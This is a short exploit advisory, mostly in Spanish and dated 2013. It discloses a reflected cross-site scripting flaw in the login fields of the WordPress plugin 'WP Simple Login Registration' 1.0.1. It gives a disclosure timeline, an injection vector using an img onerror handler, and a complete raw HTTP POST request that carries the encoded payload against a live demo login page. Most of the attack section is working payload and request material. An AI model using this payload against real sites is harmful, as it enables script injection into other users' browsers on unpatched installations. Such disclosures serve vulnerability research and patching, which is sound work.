###########################################################################################
# Exploit Title: Cross Site Scripting WP Simple Login Registration 1.0.1 -
Wordpress
# Date: 26 de Agosto del 2013
# Exploit Author: Dylan Irzi
# Credit goes for: websecuritydev.com
# Vendor Homepage:
http://envato.dropntheme.com/wp-simple-login-registration-plugin/
# Tested on: Win8 & Linux Mint
# Affected Version : 1.01 y Posteriores.
###########################################################################################
Timeline:
- 20 De agosto XSS Encontrado y Reportado.
- 25 De Agosto Vendedor responde que la vulnerabilidad es por PHP.INI
- 26 De Agosto Diclosure!!


------------------------------------------------------------------------------------------
Campos de Login Son Vulnerables a Cross Site Scripting Reflected Via Post.

<input id="username" class="text-input" type="text" value="Vector XSS"
name="username">
<input type="password" class="text-input" id="password" name="password">

Vector: ""><img src=x onerror=prompt(/XSS/);>>
Example:
http://envato.dropntheme.com/wp-simple-login-registration-plugin/live-demo/login/

http Live Request.
------------------------------------------------------------------------------------------
Host: envato.dropntheme.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0 AlexaToolbar/alxf-2.18
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer:
http://envato.dropntheme.com/wp-simple-login-registration-plugin/live-demo/login/
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 252

POST:
username=%22%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSS%2F%29%3B%3E%3E&password=&remember-me=forever&submit=Log+in&login_nonce_field=a72b0d3cb6&_wp_http_referer=%2Fwp-simple-login-registration-plugin%2Flive-demo%2Flogin%2F&wpslrp_action=ddsfeu_login

------------------------------------------------------------------------------------------

*By Dylan Irzi
@Dylan_Irzi11
Pentest de Seguridad.*